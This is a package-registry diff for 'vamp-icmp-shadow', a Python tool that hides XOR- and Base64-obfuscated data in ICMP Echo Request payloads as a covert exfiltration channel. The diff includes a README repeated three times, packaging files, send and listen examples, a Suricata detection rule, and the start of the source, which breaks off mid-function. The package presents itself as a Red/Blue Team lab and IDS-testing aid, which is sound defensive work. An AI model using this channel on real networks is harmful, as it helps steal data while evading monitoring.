vamp-icmp-shadow 1.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,170 @@
1
+ Metadata-Version: 2.4
2
+ Name: vamp-icmp-shadow
3
+ Version: 1.2
4
+ Summary: Covert ICMP channel demonstration tool for authorized Red/Blue Team labs
5
+ Author-email: VampSecure Studios <contact@vampsecurestudios.com>
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/Vampsecure-Labs/vamp-icmp-shadow
8
+ Project-URL: Repository, https://github.com/Vampsecure-Labs/vamp-icmp-shadow
9
+ Keywords: security,pentest,audit,cybersecurity,vampsecure,icmp,covert-channel,red-team,blue-team,network
10
+ Classifier: Development Status :: 5 - Production/Stable
11
+ Classifier: Environment :: Console
12
+ Classifier: Intended Audience :: Information Technology
13
+ Classifier: License :: OSI Approved :: MIT License
14
+ Classifier: Operating System :: OS Independent
15
+ Classifier: Programming Language :: Python :: 3
16
+ Classifier: Topic :: Security
17
+ Requires-Python: >=3.9
18
+ Description-Content-Type: text/markdown
19
+ Requires-Dist: scapy>=2.5.0
20
+ Requires-Dist: rich>=13.7.0
21
+
22
+ <h1 align="center">vamp-icmp-shadow</h1>
23
+ <p align="center">
24
+ <strong>Covert ICMP data channel for Red/Blue Team detection validation and IDS/IPS rule testing</strong><br>
25
+ <em>VampSecure Labs · Security Research Division</em>
26
+ </p>
27
+
28
+ <p align="center">
29
+ <img src="https://img.shields.io/badge/python-3.10%2B-blue?style=flat-square&logo=python&logoColor=white">
30
+ <img src="https://img.shields.io/badge/platform-linux%20%7C%20macos-lightgrey?style=flat-square">
31
+ <img src="https://img.shields.io/badge/license-research%20only-red?style=flat-square">
32
+ <img src="https://img.shields.io/badge/VampSecure-Labs-8B0000?style=flat-square">
33
+ </p>
34
+
35
+ ---
36
+
37
+ ## Overview
38
+
39
+ `vamp-icmp-shadow` implements a covert data channel over ICMP for use in authorized Red/Blue Team lab environments. It demonstrates that the payload field of ICMP Echo Request packets can be used as a data exfiltration vector, bypassing network controls that filter only by protocol or port number without performing deep packet inspection on ICMP content.
40
+
41
+ The tool's primary purpose is **defensive**: validating that IDS/IPS rules (Snort, Suricata) correctly detect non-standard ICMP payloads, training Blue Team analysts to recognize the traffic pattern, and documenting the attack vector in network security audit reports. It must not be used outside of self-owned lab environments or without explicit written authorization.
42
+
43
+ Data is obfuscated via XOR with a shared key, encoded in Base64, prefixed with a magic marker (`VSHDW:`), and split into fixed-size chunks transmitted as individual ICMP Echo Request packets. The receiver side reassembles and decodes the stream.
44
+
45
+ ## Features
46
+
47
+ - **`send` mode** — XOR-encrypts a message with the configured key, Base64-encodes it, fragments it into 200-byte chunks, and sends each chunk as an ICMP Echo Request (type=8) with sequential sequence numbers
48
+ - **`listen` mode** — captures ICMP Echo Request packets via Scapy BPF filter `icmp`, verifies the `VSHDW:` magic prefix, decodes Base64, applies XOR to recover plaintext, and displays captured messages in Rich panels with source IP and sequence number
49
+ - **XOR + Base64 obfuscation** — symmetric cipher (XOR key repeats cyclically); the same key decrypts: `XOR(XOR(data, key), key) = data`
50
+ - **Configurable key** via `--key` parameter or `--key-file` (first line of file) — default key is `VAMP_KEY_2026`
51
+ - **Magic-prefix filtering** — the receiver silently ignores all ICMP traffic that does not carry the `VSHDW:` prefix, making it quiet in mixed-traffic environments
52
+ - **Verbose mode** (`-v`) shows all ICMP packets received including those without the magic prefix, useful for debugging IDS rule placement
53
+ - **Chunk-based fragmentation** — messages longer than 200 obfuscated bytes are automatically split; the receiver accumulates chunks per source IP ordered by ICMP sequence number
54
+ - **Root privilege enforcement** — exits with an error if not run as root, as raw packet capture requires `CAP_NET_RAW`
55
+ - Rich console output: sender displays a per-packet table with payload preview, byte count, and status; receiver shows a panel per decoded message
56
+
57
+ ## Requirements
58
+
59
+ ```
60
+ pip install -r requirements.txt
61
+ ```
62
+
63
+ | Package | Version |
64
+ |---------|---------|
65
+ | `scapy` | >= 2.5.0 |
66
+ | `rich` | >= 13.7.0 |
67
+
68
+ Standard library: `argparse`, `base64`, `os`, `sys`, `time`, `datetime`, `pathlib`.
69
+
70
+ ## Installation
71
+
72
+ ```bash
73
+ git clone https://github.com/belky-me/vamp-icmp-shadow.git
74
+ cd vamp-icmp-shadow
75
+ pip install -r requirements.txt
76
+ ```
77
+
78
+ Requires root or `CAP_NET_RAW` capability for both send and listen modes.
79
+
80
+ ## Usage
81
+
82
+ ```bash
83
+ python vamp_icmp_shadow.py --help
84
+ ```
85
+
86
+ Two subcommands are available: `send` and `listen`.
87
+
88
+ ```
89
+ usage: vamp-icmp-shadow {send,listen} ...
90
+
91
+ subcommands:
92
+ send Send a message via the ICMP Shadow channel
93
+ listen Listen for incoming ICMP Shadow channel traffic
94
+ ```
95
+
96
+ ### Examples
97
+
98
+ **Send a short message to a lab target (default key):**
99
+ ```bash
100
+ sudo python vamp_icmp_shadow.py send -t 192.168.1.10 -d "shadow test"
101
+ ```
102
+
103
+ **Send a message with a custom XOR key:**
104
+ ```bash
105
+ sudo python vamp_icmp_shadow.py send -t 192.168.1.10 -d "exfil payload" -k "MY_SECRET_KEY"
106
+ ```
107
+
108
+ **Send using a key loaded from a file:**
109
+ ```bash
110
+ sudo python vamp_icmp_shadow.py send -t 192.168.1.10 -d "test" --key-file /etc/lab/icmp.key
111
+ ```
112
+
113
+ **Send with verbose output (shows per-packet errors and status):**
114
+ ```bash
115
+ sudo python vamp_icmp_shadow.py send -t 10.0.0.5 -d "blue team test" -v
116
+ ```
117
+
118
+ **Listen on interface eth0 for incoming Shadow channel traffic:**
119
+ ```bash
120
+ sudo python vamp_icmp_shadow.py listen -i eth0
121
+ ```
122
+
123
+ **Listen with a custom key and verbose mode (shows non-Shadow ICMP too):**
124
+ ```bash
125
+ sudo python vamp_icmp_shadow.py listen -i eth0 -k "MY_SECRET_KEY" -v
126
+ ```
127
+
128
+ **Listen using a key file:**
129
+ ```bash
130
+ sudo python vamp_icmp_shadow.py listen -i eth0 --key-file /etc/lab/icmp.key
131
+ ```
132
+
133
+ ## Protocol Overview
134
+
135
+ ```
136
+ Sender:
137
+ plaintext → XOR(key) → Base64 → "VSHDW:" + B64_CHUNK
138
+ Each chunk → ICMP Echo Request (type=8, seq=N, payload=VSHDW:...)
139
+
140
+ Receiver:
141
+ ICMP Echo Request captured → check for "VSHDW:" prefix
142
+ → Base64 decode → XOR(key) → plaintext
143
+ → display with source IP and sequence number
144
+ ```
145
+
146
+ Chunk size: 200 bytes of the obfuscated Base64 string per packet.
147
+ Inter-packet delay: 50 ms to avoid overwhelming the network stack.
148
+
149
+ ## Blue Team Detection Notes
150
+
151
+ This tool is designed to make its own traffic detectable. Example Suricata signature that fires on the `VSHDW:` magic prefix in ICMP payloads:
152
+
153
+ ```
154
+ alert icmp any any -> any any (msg:"VampSecure ICMP Shadow channel"; \
155
+ content:"VSHDW:"; itype:8; sid:9000001; rev:1;)
156
+ ```
157
+
158
+ Use this tool to verify that your IDS signature correctly triggers before writing it into the production ruleset.
159
+
160
+ ## Part of VampSecure Labs Toolkit
161
+
162
+ This tool is part of the **VampSecure Labs Security Toolkit** — a collection of research-grade security tools for authorized penetration testing and red/blue team exercises.
163
+
164
+ - Full toolkit: [github.com/belky-me](https://github.com/belky-me)
165
+ - Orchestrator: [github.com/belky-me/vamp-orchestrator](https://github.com/belky-me/vamp-orchestrator)
166
+
167
+ ---
168
+
169
+ © VampSecure Studios — VampSecure Labs Security Research Division
170
+ For authorized security testing only.
@@ -0,0 +1,149 @@
1
+ <h1 align="center">vamp-icmp-shadow</h1>
2
+ <p align="center">
3
+ <strong>Covert ICMP data channel for Red/Blue Team detection validation and IDS/IPS rule testing</strong><br>
4
+ <em>VampSecure Labs · Security Research Division</em>
5
+ </p>
6
+
7
+ <p align="center">
8
+ <img src="https://img.shields.io/badge/python-3.10%2B-blue?style=flat-square&logo=python&logoColor=white">
9
+ <img src="https://img.shields.io/badge/platform-linux%20%7C%20macos-lightgrey?style=flat-square">
10
+ <img src="https://img.shields.io/badge/license-research%20only-red?style=flat-square">
11
+ <img src="https://img.shields.io/badge/VampSecure-Labs-8B0000?style=flat-square">
12
+ </p>
13
+
14
+ ---
15
+
16
+ ## Overview
17
+
18
+ `vamp-icmp-shadow` implements a covert data channel over ICMP for use in authorized Red/Blue Team lab environments. It demonstrates that the payload field of ICMP Echo Request packets can be used as a data exfiltration vector, bypassing network controls that filter only by protocol or port number without performing deep packet inspection on ICMP content.
19
+
20
+ The tool's primary purpose is **defensive**: validating that IDS/IPS rules (Snort, Suricata) correctly detect non-standard ICMP payloads, training Blue Team analysts to recognize the traffic pattern, and documenting the attack vector in network security audit reports. It must not be used outside of self-owned lab environments or without explicit written authorization.
21
+
22
+ Data is obfuscated via XOR with a shared key, encoded in Base64, prefixed with a magic marker (`VSHDW:`), and split into fixed-size chunks transmitted as individual ICMP Echo Request packets. The receiver side reassembles and decodes the stream.
23
+
24
+ ## Features
25
+
26
+ - **`send` mode** — XOR-encrypts a message with the configured key, Base64-encodes it, fragments it into 200-byte chunks, and sends each chunk as an ICMP Echo Request (type=8) with sequential sequence numbers
27
+ - **`listen` mode** — captures ICMP Echo Request packets via Scapy BPF filter `icmp`, verifies the `VSHDW:` magic prefix, decodes Base64, applies XOR to recover plaintext, and displays captured messages in Rich panels with source IP and sequence number
28
+ - **XOR + Base64 obfuscation** — symmetric cipher (XOR key repeats cyclically); the same key decrypts: `XOR(XOR(data, key), key) = data`
29
+ - **Configurable key** via `--key` parameter or `--key-file` (first line of file) — default key is `VAMP_KEY_2026`
30
+ - **Magic-prefix filtering** — the receiver silently ignores all ICMP traffic that does not carry the `VSHDW:` prefix, making it quiet in mixed-traffic environments
31
+ - **Verbose mode** (`-v`) shows all ICMP packets received including those without the magic prefix, useful for debugging IDS rule placement
32
+ - **Chunk-based fragmentation** — messages longer than 200 obfuscated bytes are automatically split; the receiver accumulates chunks per source IP ordered by ICMP sequence number
33
+ - **Root privilege enforcement** — exits with an error if not run as root, as raw packet capture requires `CAP_NET_RAW`
34
+ - Rich console output: sender displays a per-packet table with payload preview, byte count, and status; receiver shows a panel per decoded message
35
+
36
+ ## Requirements
37
+
38
+ ```
39
+ pip install -r requirements.txt
40
+ ```
41
+
42
+ | Package | Version |
43
+ |---------|---------|
44
+ | `scapy` | >= 2.5.0 |
45
+ | `rich` | >= 13.7.0 |
46
+
47
+ Standard library: `argparse`, `base64`, `os`, `sys`, `time`, `datetime`, `pathlib`.
48
+
49
+ ## Installation
50
+
51
+ ```bash
52
+ git clone https://github.com/belky-me/vamp-icmp-shadow.git
53
+ cd vamp-icmp-shadow
54
+ pip install -r requirements.txt
55
+ ```
56
+
57
+ Requires root or `CAP_NET_RAW` capability for both send and listen modes.
58
+
59
+ ## Usage
60
+
61
+ ```bash
62
+ python vamp_icmp_shadow.py --help
63
+ ```
64
+
65
+ Two subcommands are available: `send` and `listen`.
66
+
67
+ ```
68
+ usage: vamp-icmp-shadow {send,listen} ...
69
+
70
+ subcommands:
71
+ send Send a message via the ICMP Shadow channel
72
+ listen Listen for incoming ICMP Shadow channel traffic
73
+ ```
74
+
75
+ ### Examples
76
+
77
+ **Send a short message to a lab target (default key):**
78
+ ```bash
79
+ sudo python vamp_icmp_shadow.py send -t 192.168.1.10 -d "shadow test"
80
+ ```
81
+
82
+ **Send a message with a custom XOR key:**
83
+ ```bash
84
+ sudo python vamp_icmp_shadow.py send -t 192.168.1.10 -d "exfil payload" -k "MY_SECRET_KEY"
85
+ ```
86
+
87
+ **Send using a key loaded from a file:**
88
+ ```bash
89
+ sudo python vamp_icmp_shadow.py send -t 192.168.1.10 -d "test" --key-file /etc/lab/icmp.key
90
+ ```
91
+
92
+ **Send with verbose output (shows per-packet errors and status):**
93
+ ```bash
94
+ sudo python vamp_icmp_shadow.py send -t 10.0.0.5 -d "blue team test" -v
95
+ ```
96
+
97
+ **Listen on interface eth0 for incoming Shadow channel traffic:**
98
+ ```bash
99
+ sudo python vamp_icmp_shadow.py listen -i eth0
100
+ ```
101
+
102
+ **Listen with a custom key and verbose mode (shows non-Shadow ICMP too):**
103
+ ```bash
104
+ sudo python vamp_icmp_shadow.py listen -i eth0 -k "MY_SECRET_KEY" -v
105
+ ```
106
+
107
+ **Listen using a key file:**
108
+ ```bash
109
+ sudo python vamp_icmp_shadow.py listen -i eth0 --key-file /etc/lab/icmp.key
110
+ ```
111
+
112
+ ## Protocol Overview
113
+
114
+ ```
115
+ Sender:
116
+ plaintext → XOR(key) → Base64 → "VSHDW:" + B64_CHUNK
117
+ Each chunk → ICMP Echo Request (type=8, seq=N, payload=VSHDW:...)
118
+
119
+ Receiver:
120
+ ICMP Echo Request captured → check for "VSHDW:" prefix
121
+ → Base64 decode → XOR(key) → plaintext
122
+ → display with source IP and sequence number
123
+ ```
124
+
125
+ Chunk size: 200 bytes of the obfuscated Base64 string per packet.
126
+ Inter-packet delay: 50 ms to avoid overwhelming the network stack.
127
+
128
+ ## Blue Team Detection Notes
129
+
130
+ This tool is designed to make its own traffic detectable. Example Suricata signature that fires on the `VSHDW:` magic prefix in ICMP payloads:
131
+
132
+ ```
133
+ alert icmp any any -> any any (msg:"VampSecure ICMP Shadow channel"; \
134
+ content:"VSHDW:"; itype:8; sid:9000001; rev:1;)
135
+ ```
136
+
137
+ Use this tool to verify that your IDS signature correctly triggers before writing it into the production ruleset.
138
+
139
+ ## Part of VampSecure Labs Toolkit
140
+
141
+ This tool is part of the **VampSecure Labs Security Toolkit** — a collection of research-grade security tools for authorized penetration testing and red/blue team exercises.
142
+
143
+ - Full toolkit: [github.com/belky-me](https://github.com/belky-me)
144
+ - Orchestrator: [github.com/belky-me/vamp-orchestrator](https://github.com/belky-me/vamp-orchestrator)
145
+
146
+ ---
147
+
148
+ © VampSecure Studios — VampSecure Labs Security Research Division
149
+ For authorized security testing only.
@@ -0,0 +1,37 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "vamp-icmp-shadow"
7
+ version = "1.2"
8
+ description = "Covert ICMP channel demonstration tool for authorized Red/Blue Team labs"
9
+ readme = "README.md"
10
+ license = { text = "MIT" }
11
+ requires-python = ">=3.9"
12
+ authors = [{ name = "VampSecure Studios", email = "contact@vampsecurestudios.com" }]
13
+ keywords = ["security", "pentest", "audit", "cybersecurity", "vampsecure", "icmp", "covert-channel", "red-team", "blue-team", "network"]
14
+ classifiers = [
15
+ "Development Status :: 5 - Production/Stable",
16
+ "Environment :: Console",
17
+ "Intended Audience :: Information Technology",
18
+ "License :: OSI Approved :: MIT License",
19
+ "Operating System :: OS Independent",
20
+ "Programming Language :: Python :: 3",
21
+ "Topic :: Security",
22
+ ]
23
+ dependencies = [
24
+ "scapy>=2.5.0",
25
+ "rich>=13.7.0",
26
+ ]
27
+
28
+
29
+ [project.scripts]
30
+ vamp-icmp-shadow = "vamp_icmp_shadow:main"
31
+
32
+ [project.urls]
33
+ Homepage = "https://github.com/Vampsecure-Labs/vamp-icmp-shadow"
34
+ Repository = "https://github.com/Vampsecure-Labs/vamp-icmp-shadow"
35
+
36
+ [tool.setuptools]
37
+ py-modules = ["vamp_icmp_shadow"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,170 @@
1
+ Metadata-Version: 2.4
2
+ Name: vamp-icmp-shadow
3
+ Version: 1.2
4
+ Summary: Covert ICMP channel demonstration tool for authorized Red/Blue Team labs
5
+ Author-email: VampSecure Studios <contact@vampsecurestudios.com>
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/Vampsecure-Labs/vamp-icmp-shadow
8
+ Project-URL: Repository, https://github.com/Vampsecure-Labs/vamp-icmp-shadow
9
+ Keywords: security,pentest,audit,cybersecurity,vampsecure,icmp,covert-channel,red-team,blue-team,network
10
+ Classifier: Development Status :: 5 - Production/Stable
11
+ Classifier: Environment :: Console
12
+ Classifier: Intended Audience :: Information Technology
13
+ Classifier: License :: OSI Approved :: MIT License
14
+ Classifier: Operating System :: OS Independent
15
+ Classifier: Programming Language :: Python :: 3
16
+ Classifier: Topic :: Security
17
+ Requires-Python: >=3.9
18
+ Description-Content-Type: text/markdown
19
+ Requires-Dist: scapy>=2.5.0
20
+ Requires-Dist: rich>=13.7.0
21
+
22
+ <h1 align="center">vamp-icmp-shadow</h1>
23
+ <p align="center">
24
+ <strong>Covert ICMP data channel for Red/Blue Team detection validation and IDS/IPS rule testing</strong><br>
25
+ <em>VampSecure Labs · Security Research Division</em>
26
+ </p>
27
+
28
+ <p align="center">
29
+ <img src="https://img.shields.io/badge/python-3.10%2B-blue?style=flat-square&logo=python&logoColor=white">
30
+ <img src="https://img.shields.io/badge/platform-linux%20%7C%20macos-lightgrey?style=flat-square">
31
+ <img src="https://img.shields.io/badge/license-research%20only-red?style=flat-square">
32
+ <img src="https://img.shields.io/badge/VampSecure-Labs-8B0000?style=flat-square">
33
+ </p>
34
+
35
+ ---
36
+
37
+ ## Overview
38
+
39
+ `vamp-icmp-shadow` implements a covert data channel over ICMP for use in authorized Red/Blue Team lab environments. It demonstrates that the payload field of ICMP Echo Request packets can be used as a data exfiltration vector, bypassing network controls that filter only by protocol or port number without performing deep packet inspection on ICMP content.
40
+
41
+ The tool's primary purpose is **defensive**: validating that IDS/IPS rules (Snort, Suricata) correctly detect non-standard ICMP payloads, training Blue Team analysts to recognize the traffic pattern, and documenting the attack vector in network security audit reports. It must not be used outside of self-owned lab environments or without explicit written authorization.
42
+
43
+ Data is obfuscated via XOR with a shared key, encoded in Base64, prefixed with a magic marker (`VSHDW:`), and split into fixed-size chunks transmitted as individual ICMP Echo Request packets. The receiver side reassembles and decodes the stream.
44
+
45
+ ## Features
46
+
47
+ - **`send` mode** — XOR-encrypts a message with the configured key, Base64-encodes it, fragments it into 200-byte chunks, and sends each chunk as an ICMP Echo Request (type=8) with sequential sequence numbers
48
+ - **`listen` mode** — captures ICMP Echo Request packets via Scapy BPF filter `icmp`, verifies the `VSHDW:` magic prefix, decodes Base64, applies XOR to recover plaintext, and displays captured messages in Rich panels with source IP and sequence number
49
+ - **XOR + Base64 obfuscation** — symmetric cipher (XOR key repeats cyclically); the same key decrypts: `XOR(XOR(data, key), key) = data`
50
+ - **Configurable key** via `--key` parameter or `--key-file` (first line of file) — default key is `VAMP_KEY_2026`
51
+ - **Magic-prefix filtering** — the receiver silently ignores all ICMP traffic that does not carry the `VSHDW:` prefix, making it quiet in mixed-traffic environments
52
+ - **Verbose mode** (`-v`) shows all ICMP packets received including those without the magic prefix, useful for debugging IDS rule placement
53
+ - **Chunk-based fragmentation** — messages longer than 200 obfuscated bytes are automatically split; the receiver accumulates chunks per source IP ordered by ICMP sequence number
54
+ - **Root privilege enforcement** — exits with an error if not run as root, as raw packet capture requires `CAP_NET_RAW`
55
+ - Rich console output: sender displays a per-packet table with payload preview, byte count, and status; receiver shows a panel per decoded message
56
+
57
+ ## Requirements
58
+
59
+ ```
60
+ pip install -r requirements.txt
61
+ ```
62
+
63
+ | Package | Version |
64
+ |---------|---------|
65
+ | `scapy` | >= 2.5.0 |
66
+ | `rich` | >= 13.7.0 |
67
+
68
+ Standard library: `argparse`, `base64`, `os`, `sys`, `time`, `datetime`, `pathlib`.
69
+
70
+ ## Installation
71
+
72
+ ```bash
73
+ git clone https://github.com/belky-me/vamp-icmp-shadow.git
74
+ cd vamp-icmp-shadow
75
+ pip install -r requirements.txt
76
+ ```
77
+
78
+ Requires root or `CAP_NET_RAW` capability for both send and listen modes.
79
+
80
+ ## Usage
81
+
82
+ ```bash
83
+ python vamp_icmp_shadow.py --help
84
+ ```
85
+
86
+ Two subcommands are available: `send` and `listen`.
87
+
88
+ ```
89
+ usage: vamp-icmp-shadow {send,listen} ...
90
+
91
+ subcommands:
92
+ send Send a message via the ICMP Shadow channel
93
+ listen Listen for incoming ICMP Shadow channel traffic
94
+ ```
95
+
96
+ ### Examples
97
+
98
+ **Send a short message to a lab target (default key):**
99
+ ```bash
100
+ sudo python vamp_icmp_shadow.py send -t 192.168.1.10 -d "shadow test"
101
+ ```
102
+
103
+ **Send a message with a custom XOR key:**
104
+ ```bash
105
+ sudo python vamp_icmp_shadow.py send -t 192.168.1.10 -d "exfil payload" -k "MY_SECRET_KEY"
106
+ ```
107
+
108
+ **Send using a key loaded from a file:**
109
+ ```bash
110
+ sudo python vamp_icmp_shadow.py send -t 192.168.1.10 -d "test" --key-file /etc/lab/icmp.key
111
+ ```
112
+
113
+ **Send with verbose output (shows per-packet errors and status):**
114
+ ```bash
115
+ sudo python vamp_icmp_shadow.py send -t 10.0.0.5 -d "blue team test" -v
116
+ ```
117
+
118
+ **Listen on interface eth0 for incoming Shadow channel traffic:**
119
+ ```bash
120
+ sudo python vamp_icmp_shadow.py listen -i eth0
121
+ ```
122
+
123
+ **Listen with a custom key and verbose mode (shows non-Shadow ICMP too):**
124
+ ```bash
125
+ sudo python vamp_icmp_shadow.py listen -i eth0 -k "MY_SECRET_KEY" -v
126
+ ```
127
+
128
+ **Listen using a key file:**
129
+ ```bash
130
+ sudo python vamp_icmp_shadow.py listen -i eth0 --key-file /etc/lab/icmp.key
131
+ ```
132
+
133
+ ## Protocol Overview
134
+
135
+ ```
136
+ Sender:
137
+ plaintext → XOR(key) → Base64 → "VSHDW:" + B64_CHUNK
138
+ Each chunk → ICMP Echo Request (type=8, seq=N, payload=VSHDW:...)
139
+
140
+ Receiver:
141
+ ICMP Echo Request captured → check for "VSHDW:" prefix
142
+ → Base64 decode → XOR(key) → plaintext
143
+ → display with source IP and sequence number
144
+ ```
145
+
146
+ Chunk size: 200 bytes of the obfuscated Base64 string per packet.
147
+ Inter-packet delay: 50 ms to avoid overwhelming the network stack.
148
+
149
+ ## Blue Team Detection Notes
150
+
151
+ This tool is designed to make its own traffic detectable. Example Suricata signature that fires on the `VSHDW:` magic prefix in ICMP payloads:
152
+
153
+ ```
154
+ alert icmp any any -> any any (msg:"VampSecure ICMP Shadow channel"; \
155
+ content:"VSHDW:"; itype:8; sid:9000001; rev:1;)
156
+ ```
157
+
158
+ Use this tool to verify that your IDS signature correctly triggers before writing it into the production ruleset.
159
+
160
+ ## Part of VampSecure Labs Toolkit
161
+
162
+ This tool is part of the **VampSecure Labs Security Toolkit** — a collection of research-grade security tools for authorized penetration testing and red/blue team exercises.
163
+
164
+ - Full toolkit: [github.com/belky-me](https://github.com/belky-me)
165
+ - Orchestrator: [github.com/belky-me/vamp-orchestrator](https://github.com/belky-me/vamp-orchestrator)
166
+
167
+ ---
168
+
169
+ © VampSecure Studios — VampSecure Labs Security Research Division
170
+ For authorized security testing only.
@@ -0,0 +1,9 @@
1
+ README.md
2
+ pyproject.toml
3
+ vamp_icmp_shadow.py
4
+ vamp_icmp_shadow.egg-info/PKG-INFO
5
+ vamp_icmp_shadow.egg-info/SOURCES.txt
6
+ vamp_icmp_shadow.egg-info/dependency_links.txt
7
+ vamp_icmp_shadow.egg-info/entry_points.txt
8
+ vamp_icmp_shadow.egg-info/requires.txt
9
+ vamp_icmp_shadow.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ vamp-icmp-shadow = vamp_icmp_shadow:main
@@ -0,0 +1,2 @@
1
+ scapy>=2.5.0
2
+ rich>=13.7.0
@@ -0,0 +1 @@
1
+ vamp_icmp_shadow
@@ -0,0 +1,336 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ vamp_icmp_shadow.py — Canal Encubierto ICMP para Red/Blue Team
4
+ ==============================================================
5
+ VampSecure Labs · VampSecure Studios
6
+ Para Uso Exclusivo en Pruebas de Penetración Autorizadas — v1.2
7
+
8
+ DESCRIPCIÓN GENERAL
9
+ -------------------
10
+ Implementación de canal encubierto sobre protocolo ICMP destinada a
11
+ entornos de laboratorio Red/Blue Team. Permite demostrar que el campo
12
+ payload de paquetes ICMP Echo Request puede usarse como vector de
13
+ exfiltración de datos, eludiendo controles de red que solo filtran por
14
+ protocolo o puerto pero no inspeccionan el contenido ICMP en profundidad.
15
+
16
+ Su finalidad es exclusivamente educativa y defensiva: validar reglas IDS/IPS
17
+ (Snort, Suricata), entrenar equipos Blue Team a detectar este patrón de
18
+ tráfico y documentar el vector en informes de auditoría de red. No debe
19
+ utilizarse fuera de entornos de laboratorio propios o con autorización escrita.
20
+
21
+ ARQUITECTURA DE EJECUCIÓN (2 modos)
22
+ ------------------------------------
23
+ Modo send (emisor)
24
+ 1. El mensaje se cifra mediante XOR(clave) y se codifica en Base64.
25
+ 2. El resultado se fragmenta en chunks de CHUNK_SIZE bytes (default 200).
26
+ 3. Cada chunk se prefija con MAGIC_PREFIX ("VSHDW:") para identificación.
27
+ 4. Se envían paquetes ICMP Echo Request (type=8) con el chunk como payload.
28
+ Clave: parámetro --key o fichero --key-file (default: VAMP_KEY_2026).
29
+
30
+ Modo listen (receptor)
31
+ Captura ICMP Echo Requests mediante Scapy sniff() con filtro BPF "icmp".
32
+ Extrae el payload, verifica el prefijo VSHDW:, decodifica Base64 → XOR.
33
+ Reensambla chunks en orden de llegada. Verbose mode para depuración.
34
+
35
+ DEPENDENCIAS
36
+ ------------
37
+ scapy >= 2.5.0 — Captura y forja de paquetes de red (requiere root)
38
+ rich >= 13.7.0 — Salida de consola con formato enriquecido y tablas
39
+
40
+ AUTORÍA
41
+ -------
42
+ © VampSecure Studios — VampSecure Labs Security Research Division
43
+ Todos los derechos reservados. Uso exclusivo en entornos autorizados.
44
+ """
45
+
46
+ from __future__ import annotations
47
+
48
+ import argparse
49
+ import base64
50
+ import os
51
+ import sys
52
+ import time
53
+ from datetime import datetime
54
+ from pathlib import Path
55
+ from typing import Optional
56
+
57
+ try:
58
+ from scapy.all import IP, ICMP, Raw, send, sniff
59
+ except ImportError:
60
+ print("[ERROR] Instala scapy: pip install scapy", file=sys.stderr)
61
+ sys.exit(1)
62
+
63
+ from rich.console import Console
64
+ from rich.panel import Panel
65
+ from rich.table import Table
66
+
67
+ # ────────────────────────────────────────────────────────────────────────────
68
+ # Constantes
69
+ # ────────────────────────────────────────────────────────────────────────────
70
+
71
+ VERSION = "1.2"
72
+ TOOL_NAME = "vamp-icmp-shadow"
73
+ DEFAULT_KEY = "VAMP_KEY_2026"
74
+ CHUNK_SIZE = 200 # bytes por paquete ICMP (texto ofuscado en Base64)
75
+ MAGIC_PREFIX = "VSHDW:" # prefijo para identificar paquetes del canal
76
+
77
+ BANNER = r"""
78
+ __ ___ __ __ ___ ___ ___ ___ _ _ ___ ___ _ _ ___ ___
79
+ \ \ / /_\ | \/ | _ \/ __| __/ __| | | | _ \ __| | /_\ | _ ) __|
80
+ \ V / _ \| |\/| | _/\__ \ _| (__| |_| | / _|| |__ / _ \| _ \__ \
81
+ \_/_/ \_\_| |_|_| |___/___\___|\___/|_|_\___|____/_/ \_\___/___/
82
+ by Antonio Hernandez "Belky" — VampSecure Studios
83
+ vamp-icmp-shadow v1.2 · Covert ICMP Channel for Red/Blue Team
84
+ ────────────────────────────────────────────────────────────────────────
85
+ USO EXCLUSIVO EN AUDITORÍAS AUTORIZADAS · El uso no autorizado es ilegal
86
+ """
87
+
88
+ console = Console()
89
+
90
+
91
+ # ────────────────────────────────────────────────────────────────────────────
92
+ # Cifrado XOR + Base64
93
+ # ────────────────────────────────────────────────────────────────────────────
94
+
95
+ def _xor(data: bytes, key: str) -> bytes:
96
+ """
97
+ Aplica cifrado XOR entre los datos y la clave (se repite cíclicamente).
98
+ Operación simétrica: XOR(XOR(data, key), key) = data.
99
+ """
100
+ key_bytes = key.encode()
101
+ key_len = len(key_bytes)
102
+ return bytes(data[i] ^ key_bytes[i % key_len] for i in range(len(data)))
103
+
104
+
105
+ def obfuscate(text: str, key: str) -> str:
106
+ """
107
+ Cifra texto plano con XOR(key) y codifica en Base64 para transporte.
108
+ Añade el prefijo mágico para que el receptor identifique los paquetes.
109
+ """
110
+ xored = _xor(text.encode("utf-8"), key)
111
+ b64 = base64.b64encode(xored).decode("ascii")
112
+ return MAGIC_PREFIX + b64
113
+
114
+
115
+ def deobfuscate(payload: str, key: str) -> Optional[str]:
116
+ """
117
+ Extrae y descifra un payload obfuscado.
118
+ Devuelve el texto en claro o None si no es un paquete Shadow válido.
119
+ """
120
+ if not payload.startswith(MAGIC_PREFIX):
121
+ return None
122
+ try:
123
+ b64_part = payload[len(MAGIC_PREFIX):]
124
+ xored = base64.b64decode(b64_part.encode("ascii"))
125
+ clear = _xor(xored, key)
126
+ return clear.decode("utf-8", errors="replace")
127
+ except Exception:
128
+ return None
129
+
130
+
131
+ # ────────────────────────────────────────────────────────────────────────────
132
+ # Modo EMISOR
133
+ # ────────────────────────────────────────────────────────────────────────────
134
+
135
+ def send_data(target: str, message: str, key: str, verbose: bool) -> None:
136
+ """
137
+ Envía un mensaje por el canal ICMP Shadow.
138
+
139
+ Mensajes largos se fragmentan en chunks de CHUNK_SIZE bytes (del payload
140
+ cifrado). Cada chunk viaja en un paquete ICMP Echo Request independiente.
141
+ El receptor los reensambla en orden por número de secuencia.
142
+ """
143
+ obfuscated = obfuscate(message, key)
144
+ chunks = [obfuscated[i:i + CHUNK_SIZE] for i in range(0, len(obfuscated), CHUNK_SIZE)]
145
+ total = len(chunks)
146
+
147
+ console.print(Panel(
148
+ f"Destino: [bold cyan]{target}[/]\n"
149
+ f"Mensaje: [bold]{message[:80]}{'…' if len(message) > 80 else ''}[/]\n"
150
+ f"Clave: [dim]{'*' * len(key)}[/]\n"
151
+ f"Paquetes: [yellow]{total}[/] chunk(s) de {CHUNK_SIZE} bytes",
152
